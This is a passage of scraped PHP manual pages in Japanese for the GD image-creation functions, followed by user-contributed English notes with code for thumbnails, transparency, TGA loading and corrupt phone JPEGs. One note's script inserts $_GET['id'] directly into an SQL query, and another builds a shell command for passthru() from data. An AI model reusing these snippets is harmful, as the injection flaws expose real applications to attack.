I use dynamically generated images that require a little touch-up before being displayed. So essentially I do some base work, then store the images in a memory cache (APC), reload the images again from the cache later on "into" GD, do final processing and then display the image.
Since I wanted to avoid a lot of disc access I used the output buffering functions:

<?php
   // Do your image processing stuff

   // Start buffering
   ob_start ( );
   ImageGD ( $hImage );
   $sImage = ob_get_contents ( );
   ob_end_clean ( );

   // Put stuff into cache

   // Reload from cache and recreate image
   $hImage = imagecreatefromstring ( $sImage );

   // Do final editing stuff and output image
?>

Of course this is a condensed example but I just wanted to share the idea.
kanzure at gmail dot com 11-Jul-2006 09:18
Generating graphs in an external program (in this case, gnuplot) may cause problems. This is a solution hacked together in the late hours of night.

<?php
// get the values from, say, a database
$vals = "1 2\\\\n4 8\\\\n"; # etc
// construct the gnuplot_call variable, something like:
$gnuplot_call = "echo \"set term png; plot '<echo -e \\\"$vals\\\" ' ti 'Updated with' with line ; \" | gnuplot";
ob_start();
passthru($gnuplot_call, $gnuplot_call_output);
$image = imagecreatefromstring(ob_get_contents());
ob_end_clean();
imagepng($image); # display
?>
junkmail at pmobl dot com 25-Feb-2006 02:37
I know a lot of people have been having trouble using images from the Sprint PPC6700 with GD.  The jpeg library always thows an error about 16 bytes of extraneous data.  I decided to poke around in a hex editor and found those extraneous bytes occur right at the end of the exif data.

By removing this extraneous data, images can easily be manipulated by GD and the EXIF extension as a normal images.  This also removes any problems using the images with GIMP which must rely on the same jpeg libraries.

Here is a function that will check to see if an image is from the PPC6700 and then remove the extraneous data for you.  The result can successully be used with imagecreatefromstring

Author: Paul Visco
IM: paulsidekick
Created: 2-12-06

function checkFixPPC6700($orig){

    //get the file contents
    $data = file_get_contents($orig);

    //if its a PPC 6700 image cut out the extraneous 16 bits
    if(strstr($data, "\x41\x70\x61\x63\x68\x65\x00\x48")){
//this next line can all be one string I split it up so the form on php.net would accept it
        $bad_data ="\x00\x10\x4A\x46" . "\x49\x46\x00\x01\x01" . "\x00\x00\x01\x00\x01\x00\x00";
        return substr_replace($data, "", strpos($data, $bad_data),
        strlen($bad_data));
    } else {
        //if not from a PPC 6700 return data unaltered
         return $data;
    }

}
kakail at aei dot ca 26-Nov-2005 06:07
I found out that in PHP 4.3.2 and 4.3.4 that the 'imagecreatefromstring' function use a lot of memory when working with big image...
Try this piece of code with a big image (like 1Meg or more)
<?php
$loadFile = "http://bigimage.jpg";//Try with a big image
$im = imagecreatefromstring(file_get_contents($loadFile));
imagejpeg($im);
?>

With a 400k image. I run with a 16M Mem_limit but for a 1.4M image, the mem_limit required jump to more that 32M
alexandrebr at ignorethis dot gmail dot com 28-Aug-2005 05:08
An easy example to help understanding this function...

<?
$loadFile = "http://static.php.net/images/php.gif";

$im = imagecreatefromstring(file_get_contents($loadFile));
// identical to imagecreatefromgif($loadFile);
imagegif($im);
?>

The function will try to auto-determine file format (jpg, gif, png....), and will return false if fails.
paul at epeeps dot net 25-Jul-2005 07:39
I run a blogging site that allowed users to publish images from their cell phones.  For some reason, the nokia 3220 produces jpegs with extrandeous data before the EOF 0xFFF9

I wrote this class to allow you to fix the images so that they can be used with GD to resize and manipulate.  Without applying the fix both GD and gimp report errors for the file.  If basically keeps eating bytes from the junk part till the file is a valid jpeg.  Here is an example bunk pic written by a nokia 3220 that you cna test it with http://www.shawnrider.com/moblog/cache/0854747001121624103.jpg

/*
Author: Paul Visco
Hompage: http://www.elmwoodstrip.com?u=paul
AIM: paulsidekick
Notes:  The file allows you fix the jpegs created by the Nokia 3220 picture phone so that they can be manipulated using the GD library with PHP.

Usage:  Simply instanitiate the class and then call the fix method for each image.
e.g.
$nokia = new nokia;
$nokia->debug ="y";
$nokia->fix("yourpic.jpg");
*/

class nokia
{
    public $file;
    public $debug = "n";
    public $dir_name = "";
    private $img; //the image created from the string
    private $str;

    function fix($file)
    {

        //set the file to fix
        $this->file = $file;

        //load the file into a string
        $this->str = file_get_contents($this->file);

        //test to see if it is a nokia image or if it has been corrupted previously
        if (substr_count($this->str, chr(0x28).chr(0x36).chr(0x28).chr(0x2B)) == 0 || @imagecreatefromstring($this->str))
        {
            if ($this->debug =="y")
            {
                echo "\n<br />".$this->file." is not a corrupted Nokia pic";
            }

            return true;
        }

        //make a directory for fixed images if it doesn't exist and is specified
        if(!empty($this->dir_name) && !is_dir($this->dir_name))
        {
            @mkdir($this->dir_name, 0777);
        }

        //strip out the funk e crap from the file
        $this->eat($this->str);

        //write the file back to itself
        file_put_contents($this->dir_name.$this->file, $this->str);

        //return true for fixed
        return true;

    }

    function eat()
    {

        //check the image
        $this->img = @imagecreatefromstring($this->str);

        //if the image doesn't work then keep striping out crap
        while(!$this->img)
        {
            //cut off the bad bytes one by one
            $this->str= substr_replace($this->str, "", -3, -2);

            //check the image again
            $this->img = @imagecreatefromstring($this->str);
        }

        if ($this->debug =="y")
        {
            //notify the user it's fixed
            echo "\n<br />Nasty bits eaten!! ".$this->file." is fixed now thanks to p:labs!";
        }
        return true;
    }

}
not given 03-Aug-2003 02:14
A note to the previous question (if you still don't know it :))...

GIF's are 256 colors (or 8 bit), and the resample function needs true color I guess... that's why it works with JPG's and not with GIF's.

Next thing... you take a string, write it to file, open the file (imagecreatefromgif), and delete the file again.

if you do imagecreatefromstring($string) you can skip the temporary file part.
shiehj at yahoo dot com 11-Apr-2003 09:44
Here is the code I did to create a thumbnail image from the database blob field. The trick is to use "imagecreatefromstring()" to create an image file.

Jack Shieh

<?php
require("dbconfig.inc");

$id = $_GET['id'];

if($id) {

    $link = @mysql_connect($host, $user, $password) or die("Could not connect: " . mysql_error());
    @mysql_select_db($dbname, $link);

    $query = "select filetype, image from pictures where id = $id";
    $result = @mysql_query($query);

    $data = @mysql_result($result,0,"image");
    $type = @mysql_result($result,0,"filetype");

    Header( "Content-type: $type");

    $size = 150;  // new image width
    $src = imagecreatefromstring($data);
    $width = imagesx($src);
    $height = imagesy($src);
    $aspect_ratio = $height/$width;

    if ($width <= $size) {
      $new_w = $width;
      $new_h = $height;
    } else {
      $new_w = $size;
      $new_h = abs($new_w * $aspect_ratio);
    }

    $img = imagecreatetruecolor($new_w,$new_h);
    imagecopyresized($img,$src,0,0,0,0,$new_w,$new_h,$width,$height);

    // determine image type and send it to the client
    if ($type == "image/pjpeg") {
      imagejpeg($img);
    } else if ($type == "image/x-png") {
      imagepng($img);
    } else if ($type == "image/gif") {
      imagegif($img);
    }
    imagedestroy($img);
    mysql_close($link);
};
?>
adrian_schmidt at yahoo dot com 05-Mar-2003 04:04
I'm trying to get the imagecreatefromstring to work with GIFs. Of course, it won't.
I've read the tips but can't get them to work either.
The following is what I tried, based on above tips:

---

    header('Content-Type: image/gif');
    header('Content-Disposition: inline; filename=file.gif');

    $temp = tmpfile();
    fwrite($temp, $line['image']);
    $src_img = imagecreatefromgif($temp);
    fclose($temp); // this removes the file
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagegif($dst_img);

---

where $line['image'] is the gif as taken from my MySQL database...

If anyone that has been able to make something like this work could give me a working piece of code I'd be really greatful!

I would be great if the tempfile could be excluded too...

Below is a working piece of code for jpeg:

---

    header('Content-Type: image/jpeg');
    header('Content-Disposition: inline; filename=file.jpg');

    $src_img = imagecreatefromstring($line['image']);
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagejpeg($dst_img);


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromstring
  • imagecreatefromwebp ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefromwbmp

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromwbmp — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefromwbmp ( string $filename ) : resource

imagecreatefromwbmp() は、指定したファイル名から 得られたイメージを表すイメージ ID を返します。

注意: WBMP画像は、Windows bitmp ではなく、ワイヤレスビットマップです。 Windows bitmap は、imagecreatefrombmp() 関数を使って読み込むことができます。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

WBMP 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 WBMP の作成時のエラーを処理する例

<?php
function LoadWBMP($imgname)
{
    /* オープンします */
    $im = @imagecreatefromwbmp($imgname);

    /* 失敗したかどうかを調べます */
    if(!$im)
    {
        /* 空の画像を作成します */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* エラーメッセージを出力します */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/vnd.wap.wbmp');

$img = LoadWBMP('bogus.image');

imagewbmp($img);
imagedestroy($img);
?>

User Contributed Notes

There are no user contributed notes for this page.


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromwbmp
  • imagecreatefromxbm ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefromwebp

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

imagecreatefromwebp — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefromwebp ( string $filename ) : resource

imagecreatefromwebp() は、指定したファイル名から得られる画像を表す ID を返します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

WebP 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 imagecreatefromwebp() を使った、WebP から jpeg への変換

<?php
// WebP ファイルを読み込みます
$im = imagecreatefromwebp('./example.webp');

// 100% のクオリティで jpeg ファイルに変換します
imagejpeg($im, './example.jpeg', 100);
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromwebp
  • imagecreatefromxpm ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefromxbm

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromxbm — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefromxbm ( string $filename ) : resource

imagecreatefromxbm() は、指定した filename から得られたイメージを表すイメージIDを返します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

XBM 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 XBM 画像から png 画像への imagecreatefromxbm() を用いた変換

<?php
// xbm ファイルを読み込みます
$xbm = imagecreatefromxbm('./example.xbm');

// それを png ファイルに変換します
imagepng($xbm, './example.png');
imagedestroy($xbm);
?>

User Contributed Notes

There are no user contributed notes for this page.


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromxbm
  • imagecreatetruecolor ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefromxpm

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromxpm — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefromxpm ( string $filename ) : resource

imagecreatefromxpm() は、指定した filename から得られたイメージを表すイメージ ID を返します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

XPM 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 imagecreatefromxpm() による画像インスタンスの作成

<?php
// XPM に対応しているかどうかを調べます
if(!(imagetypes() & IMG_XPM))
{
    die('Support for xpm was not found!');
}

// 画像インスタンスを作成します
$xpm = imagecreatefromxpm('./example.xpm');

// ここで画像の操作をします

// PHP は xpm 画像の書き出しをサポートしていないので、
// ここでは、画像を 100% の品質の jpeg ファイルとして保存します
imagejpeg($xpm, './example.jpg', 100);
imagedestroy($xpm);
?>

User Contributed Notes

There are no user contributed notes for this page.


TrueColor イメージを新規に作成する

  • ≪ imagecreatefromxpm
  • imagecrop ≫
  • PHP Manual
  • GD および Image 関数
  • TrueColor イメージを新規に作成する

imagecreatetruecolor

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecreatetruecolor — TrueColor イメージを新規に作成する

説明

imagecreatetruecolor ( int $width , int $height ) : resource

imagecreatetruecolor() は、指定した大きさの黒い画像を表す画像 ID を返します。

パラメータ

width

画像の幅。

height

画像の高さ。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 新規 GD イメージストリームの作成およびイメージの出力

<?php
header ('Content-Type: image/png');
$im = @imagecreatetruecolor(120, 20)
      or die('Cannot Initialize new GD image stream');
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);
imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 新規 GD イメージストリームの作成およびイメージの出力

参考

  • imagedestroy() - 画像を破棄する
  • imagecreate() - パレットを使用する新規画像を作成する

User Contributed Notes

Hamza Ahmad 28-Jan-2021 07:23
As of PHP 8, the return type for image creation functions is GdImage instead of a resource. Therefore, people can type hint.
<?php
class MyImage {
private GdImage $img;
};
?>
Similarly, <?php
function save_image(GdImage $img, string $name, string $directory = null) : bool
{
/*...*/
};
?>
smcjones at gmail dot com 18-May-2014 08:51
Please note that if you are receiving a warning about incorrect dimensions in PHP, it could be because your values are being stored as strings. You can use intval() to change a string value into an integer value which will pass the correct information into this function.
jessiedeer at hotmail dot com 24-Aug-2013 05:47
There is no need to allocate colors with imagecreatetruecolor. All [256 x 256 x 256 x 128] true colors are already allocated, and you can use the color indexes directly.

Examples :
Blue => color index 255.
White => color index 16777215 (= 255*2562 + 255*256+255).
Full transparent => color index 2130706432 (= 127*256^3).
arthur at kuhrmeier dot com 26-Aug-2010 08:38
HOW THE CHECK THE MEMORY BEFORE CREATING AN IMAGE?

I worked on a script where I delt with large images. Very often the error "out of memory" occured. So I had to figure out, how to check the memory BEFORE creating an image. I didn't find a solution on the web, so I ran my own test script. It built lots of images to compute the needed memory. I found out, that the formula mem = x * y * channel was not enough. There was an additional multiplier that varied. As a result 1.7 worked best. So the formula is: mem = x * y * channel * 1.7.

I post this script here hoping it is useful to someone who will run into the same problems.

<?php
//-------------------------------------------------- DEFINE MAXMEM
define ("MAXMEM", 32*1024*1024);  //--- memory limit (32M) ---

//-------------------------------------------------- ENOUGH MEMORY ?
function enoughmem ($x, $y, $rgb=3) {
    return ( $x * $y * $rgb * 1.7 < MAXMEM - memory_get_usage() );
}

//-------------------------------------------------- SIMPLE EXAMPLE
list ($x, $y) = @getimagesize ('your_img.jpg');  //--- get size of img ---
if (enoughmem($x,$y)) {
    $img = @imagecreatefromjpeg ('your_img.jpg');  //--- open img file ---
    $thumb = 200;  //--- max. size of thumb ---
    if ($x > $y) {
        $tx = $thumb;  //--- landscape ---
        $ty = round($thumb / $x * $y);
    } else {
        $tx = round($thumb / $y * $x);  //--- portrait ---
        $ty = $thumb;
    }
    if (enoughmem($tx,$ty)) {
        $thb = imagecreatetruecolor ($tx, $ty);  //--- create thumbnail ---
        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, 'your_thumbnail.jpg', 80);
        imagedestroy ($thb);
    }
    imagedestroy ($img);
}

//--------------------------------------------------
//--- to check the memory working with           ---
//--- b/w-image or gif use:                      ---
//--------------------------------------------------
$check = enoughmem ($x, $y, 1);
?>

Taking the opportunity, I thank everyone here at php.net for the great manual and the useful user scripts.
hemjesti at yahoo dot com 28-May-2009 02:07
I put this together - combining two of the examples and then generated the text dynamically. but, with this set up, i was able to get the transparent background working as well.

<?php
// Set the content-type

header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(175, 15);
imagesavealpha($im, true);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 150, 25, $black);
$trans_colour = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagefill($im, 0, 0, $trans_colour);

// The text to draw
$text = $_GET['text'];
// Replace path by your own font path
$font = 'catriel regular.ttf';

// Add some shadow to the text
imagettftext($im, 9, 0, 13, 16, $black, $font, $text);

// Add the text
imagettftext($im, 9, 0, 12, 15, $white, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
weareexit at yahoo dot co dot uk 10-Mar-2008 03:51
If you want to place an image on a larger canvas you've previously created with imagecreatetruecolor(), but you don't want the default black background to surround it: use imagefill() AFTER imagecopyresampled().

I have no idea why this should be the case, but it works!
Richard Davey rich at corephp dot co dot uk 22-May-2007 04:50
If you want to create a *transparent* PNG image, where the background is fully transparent, and all draw operations happen on-top of this, then do the following:

<?php
    $png = imagecreatetruecolor(800, 600);
    imagesavealpha($png, true);

    $trans_colour = imagecolorallocatealpha($png, 0, 0, 0, 127);
    imagefill($png, 0, 0, $trans_colour);

    $red = imagecolorallocate($png, 255, 0, 0);
    imagefilledellipse($png, 400, 300, 400, 300, $red);

    header("Content-type: image/png");
    imagepng($png);
?>

What you do is create a true colour image, make sure that the alpha save-state is on, then fill the image with a colour that has had its alpha level set to fully transparent (127).

The resulting PNG from the code above will have a red circle on a fully transparent background (drag the image into Photoshop to see for yourself)
phpnet at sjeiti dot com 06-Feb-2007 02:32
Just a small rectification for the msg by '
thomas dot urban at toxa dot de' (23-May-2006 03:28) about transparency.
Line 3 in the example returns a 'wrong parameter warning': 'imagecolorallocate' should be replaced by 'imagecolorallocatealpha'.
(You better just alter that note and delete this one.)
behun at webconsult dot sk 27-Aug-2006 01:54
imagecreatetruecolor() returns not only image identifier representing a black image of size x_size by y_size.

imagecreatetruecolor() is called to create truecolor images, with an essentially unlimited number of colors (also not only 256 colors).
Florin [ florin.at.flachi.dot.net ] 21-Jul-2006 02:52
A very simple and efficient way to create RGB color from hexadecimal (HTML) notation:

<?php

    function color_hex2dec ($color) {
        return array (hexdec (substr ($color, 0, 2)), hexdec (substr ($color, 2, 2)), hexdec (substr ($color, 4, 2)));
    }

    list ($r, $g, $b) = color_hex2dec ('FFEECC');

?>
j.fenin _At_ seekport [d0t] biz 11-Jul-2006 09:09
I had a strange bug occurring under Debian Linux with PHP5.

In file B (where I create the image) I included a file (file A). The image that was produced was always corrupt. When I did not include file A, everything was fine.

After 2 hours of searching I found that there were some extra spaces and linefeeds after the PHP closing tag ?> in file A. After removing those chars, everything works fine again.

Obviously those extra bytes of file A were added to the image and corrupted it.
d dot duquenoy at kdland dot org 01-Jun-2006 01:26
My function to know how much bytes imagecreate or imagecreatetruecolor require before using it.
<?php
function getNeededMemoryForImageCreate($width, $height, $truecolor) {
  return $width*$height*(2.2+($truecolor*3));
}
?>
thomas dot urban at toxa dot de 22-May-2006 06:28
This is another approach to get an initially transparent truecolor canvas and in comparison to the one below it does not declare black to be transparent (which might be okay on indexed-color images and unless you want to draw in black) ...

$im = imagecreatetruecolor( $w, $h );
imagealphablending( $im, false );
$col = imagecolorallocate( $im, 0, 0, 0, 127 );
imagefilledrectangle( $im, 0, 0, $w, $h, $col );
imagealphablending( $im, true );

Without disabling blending mode this would paint transparent rectangle over current background thus not changing anything. Nevertheless blending mode is required e.g. to get proper results from using imagettftext ... that's why it is enabled after filling, again.

Don't miss to disable blending mode and enable savealpha prior to generating a PNG ...

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );
send at mail dot 2aj dot net 24-Jun-2005 07:40
If you want a simple way to mirror images, use the function I've included below.

<?php
function image_mirror ($input_image_resource)
{
    $width = imagesx ( $input_image_resource );
    $height = imagesy ( $input_image_resource );
    $output_image_resource = imagecreatetruecolor ( $width, $height );
    $y = 1;

    while ( $y < $height )
    {
        for ( $i = 1; $i <= $width; $i++ )
            imagesetpixel ( $output_image_resource, $i, $y, imagecolorat ( $input_image_resource, ( $i ), ( $height - $y ) ) );
        $y = $y + 1;
    }

    return $output_image_resource;
}
?>
Example Usage:
<?php

// A good use of this is when a user uploads a TGA file,
// on the completion screen show the image and have a link
// that asks if the image appears mirrored, and if so
// that link will execute these commands below.

// I suggest checking $HTTP_REFERER for security.

// $_GET['file'] in this case would be something along the lines
// of johndoe-img0001 (Basename is necessary to prevent
// abuse of this script!)

if ( isset( $_GET['file'] ) )
{
    $filename = "./" . basename ( $_GET['file'] ) . ".jpg";
// Making the image resource that needs to be mirrored
// Taking it from a previously exported to JPEG file.
    $output_resource_image = image_mirror ( imagecreatefromjpeg ( $filename ) );
    if ( imagejpeg ( $output_resource_image, $filename, 75 ) )
        echo "Image resaved successfully";
    else
        echo "Image couldn't be written over (Check permissions)!";
}
?>
21-Jun-2005 03:17
// Creates a transparent image rather than the default black image
function imageCreateTransparent($x, $y) {
    $imageOut = imagecreate($x, $y);
    $colourBlack = imagecolorallocate($imageOut, 0, 0, 0);
    imagecolortransparent($imageOut, $colourBlack);
    return $imageOut;
}
send at mail dot 2aj dot net 20-Jun-2005 06:20
Thanks to OverFlow636 at gmail dot com and kuya1284 at techie dot com for their original coding which this function is based upon.

PHP lacks an imagecreatefromtga function, so I have prepared a simple function to include in your library if you deal with TGA images. In addition to creating an image from TGA, it also, optionally, will output an array with the dimensions of the image because getimagesize() does not function with TGA files.

Hopefully this function will eventually be unneeded if GD is ever updated to support the TGA format.

Please keep in mind that TGA's come in many different compressions, color settings, and as a result this function will not work 100% of the time. Resulting images will fit the symptoms kuya1284 at techie dot com mentioned, and as a result you may need to create a second function. Keep in mind that using her code causes the "mirror" effect on images that load properly with the following function.

<?php
function imagecreatefromtga ( $filename, $return_array = 0 )
{
    $handle = fopen ( $filename, 'rb' );
    $data = fread ( $handle, filesize( $filename ) );
    fclose ( $handle );

    $pointer = 18;
    $x = 0;
    $y = 0;
    $w = base_convert ( bin2hex ( strrev ( substr ( $data, 12, 2 ) ) ), 16, 10 );
    $h = base_convert ( bin2hex ( strrev ( substr ( $data, 14, 2 ) ) ), 16, 10 );
    $img = imagecreatetruecolor( $w, $h );

    while ( $pointer < strlen ( $data ) )
    {
        imagesetpixel ( $img, $x, $y, base_convert ( bin2hex ( strrev ( substr ( $data, $pointer, 3 ) ) ), 16, 10 ) );
        $x++;

        if ($x == $w)
        {
            $y++;
            $x=0;
        }

        $pointer += 3;
    }

    if ( $return_array )
        return array ( $img, $w, $h );
    else
        return $img;
}
?>

Example Usage

<?php
// Get the image & its dimensions
$array = imagecreatefromtga("source_image.tga",1);

// the image ( resource image )
$image = $array[0];

// its dimensions ( integers )
$dimensions['width'] = $array[1];
$dimensions['height'] = $array[2];

// Delete the image resource array entry to free memory
imagedestroy($array[0]);
?>

The second variable, $return_array is optional. If you simply want to load a TGA, leave the variable off the function's call as such:
<?
// Return the resource image alone
$resource_image = imagecreatefromtga ( "source_image.tga" );

// Declare the content-type as a JPEG image.
header ( 'Content-type: image/jpeg' );

// Convert the image to JPEG for smaller file size and compatability
imagejpeg ( $resource_image, NULL, 100 );
imagedestroy ( $resource_image );
?>
kuya1284 at techie dot com 26-Feb-2005 11:48
OverFlow636,

It appears that your code was causing TGA's to be inverted horizontally and upside down.  I modified your code accordingly. The sample below is an example of what I did to convert a tga to jpg. The for loop was taken from the comment below (Eric Mulders) to properly render the image.

Nice job with the code buddy.

function tga2jpg ($image)
{
    $handle = fopen($image, "rb");
    $data = fread($handle, filesize($image));
    fclose($handle);

    $pointer = 18;
    $w = fileint (substr ($data, 12, 2));
    $h = fileint (substr ($data, 14, 2));
    $x = 0;
    $y = $h;

    $img = imagecreatetruecolor($w, $h);

    while ($pointer < strlen($data))
    {
        imagesetpixel ($img, $x, $y, fileint (substr ($data, $pointer, 3)));

        $x++;

        if ($x == $w)
        {
            $y--;
            $x = 0;
        }

        $pointer += 3;
    }

    for($a = 0; $a < imagecolorstotal ($img); $a++)
    {
        $color = imagecolorsforindex ($img, $a);

        $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);

        imagecolorset ($img, $a, $R, $G, $B);
    }

    imagejpeg ($img, 'test.jpg', 100);
    imagedestroy ($img);
}

function fileint($str)
{
    return base_convert (bin2hex (strrev ($str)), 16, 10);
}

tga2jpg ('test.tga');
OverFlow636 at gmail dot com 14-Dec-2004 12:14
i dont know if there was an easyer way to do this, but heres my code to convert a .tga image to whatever you want to output it as
it works with basic tga files only

<?
$handle = fopen("xxx.tga","rb");
$data = fread($handle,filesize("xxx.tga"));
fclose($handle);
$pointer = 18;
$x = 0;
$y = 0;
$w = fileint(substr($data,12,2));
$h = fileint(substr($data,14,2));
$img = imagecreatetruecolor($w,$h);

while ($pointer < strlen($data))
{
imagesetpixel($img, $x,$y,fileint(substr($data,$pointer,3)));
$x++;

if ($x==$w)
{
$y++;
$x=0;
}

$pointer += 3;
}

header("Content-type: image/jpeg");
imagepng($img);
imagedestroy($img);

function fileint($str)
{
  return base_convert(bin2hex(strrev($str)),16,10);
}
?>
termian 05-Dec-2004 04:59
kai wrote:
//using imagecolorallocate to specify the image's background
//color does not work with truecolor-image.
//
//instead you have to use imagefill to force flood-filling the
//image with the backgorund-color previously allocated:
//
//$bgColor = imagecolorallocate($img, 255,255,255);
//imagefill($img , 0,0 , $bgColor);

even this doesn't work for my configuration - fedora core2, php 4.3.8 + gd bundled (2.0.23 compatible) and I have to do this:
$img = imagecreatetruecolor($x, $y);
$bgColor = imagecolorallocate($img, 255,255,255);
imagefilledrectangle($img, 0, 0, $x-1, $y-1, $bgColor);
kai at meder dot info 07-Oct-2004 09:20
using imagecolorallocate to specify the image's background color does not work with truecolor-image.

instead you have to use imagefill to force flood-filling the image with the backgorund-color previously allocated:

$bgColor = imagecolorallocate($img, 255,255,255);
imagefill($img , 0,0 , $bgColor);

kai
unigram at byair dot net 25-May-2004 02:46
If your hosting system does not have imagecreatetruecolor() because of PHP<4.2 and GD<2.0 then a get around is

<?
$thumb = imagecreate ($width, $height);
imageJPEG($thumb,"images/temp.jpg");
$thumb = @imagecreatefromjpeg("images/temp.jpg");
?>

which creates a thumbnail of right size, saves as a jpeg and then reads it, in true color.

This corrected the degradation caused by using palette images as destination for imagecopyresized ()
Justin Greer 08-Jan-2004 08:38
I know it's not a discussion board, but when incorrect info is posted, it should be corrected.

The function_exists() check does not work correctly because if PHP is compiled with an older GD library, the imagecreatetruecolor() function still exists -- it just gives a fatal error when called, stating that GD2 is required.  Therefore, the function_exists() method will fail on any new-ish copy of PHP that only has GD 1.x.  (That includes most of the 4.1.x and 4.2.x installs I've seen.)
fixxxer at php5 dot ru 26-Dec-2003 05:47
A note to post by Justin Greer @ 18-Nov-2003 10:40:

While this information has already been posted by php at REMOVEreallynicejerk dot com @ 16-Sep-2002 12:01, I feel it neccesary to notice 'cause Justin's post is in the top and it can make people go the wrong way: Justin's way of detecting which imagecreate function to use is too complicated, while there's an easy standard way:

<?php
if (function_exists('imagecreatetruecolor') {
 // use imagecreatetruecolor
} else {
 // use imagecreate
}
Justin Greer 18-Nov-2003 02:40
Unfortunately the @imagecreatetruecolor() method doesn't even work because php dies with a fatal error noting that GD 2 is required.  You can't even capture this error with a custom error handler.

I have come up with a function to get the GD version number that seems to work pretty well on every version of PHP and GD I've thrown at it (even CLI versions.)  It's obviously not the most efficient thing in the world, but it does cache the result in a static variable so calling it multiple times doesn't slow down further.

function gd_version() {
    static $gd_version_number = null;
    if ($gd_version_number === null) {
        // Use output buffering to get results from phpinfo()
        // without disturbing the page we're in.  Output
        // buffering is "stackable" so we don't even have to
        // worry about previous or encompassing buffering.
        ob_start();
        phpinfo(8);
        $module_info = ob_get_contents();
        ob_end_clean();
        if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
                $module_info,$matches)) {
            $gd_version_number = $matches[1];
        } else {
            $gd_version_number = 0;
        }
    }
    return $gd_version_number;
}

Then you can simply use it something like this:

if (gd_version() >= 2) {
    $image = ImageCreateTrueColor($width, $height);
} else {
    $image = ImageCreate($width, $height);
}
Hallvord RM Steen <phpnet at hallvord dot com> 27-Oct-2003 05:40
Regarding choosing the TrueColor or the plain version of imagecreate automatically, I've found that the following works for me:

<?php

$newImg=@ImageCreateTrueColor($width, $height)
    or $newImg=ImageCreate($width, $height);

?>
Jami 10-Jul-2003 03:11
It's good to use the imagecopyresampled- function when creating thumbnails with true colors, it might look better than imagecopyresized..
bjorntje at hotmail dot com 07-Jun-2003 10:41
I just fiddled around with Phpix, which had some problems using the GD lib
(washed out colours).
I changed the lines, which did the trick.
Just in case some of you are still having problems and
you can't change the PHP-install
on the hosting side:

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreate($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,
$new_width,$new_height,ImageSX($im),ImageSY($im));

TO

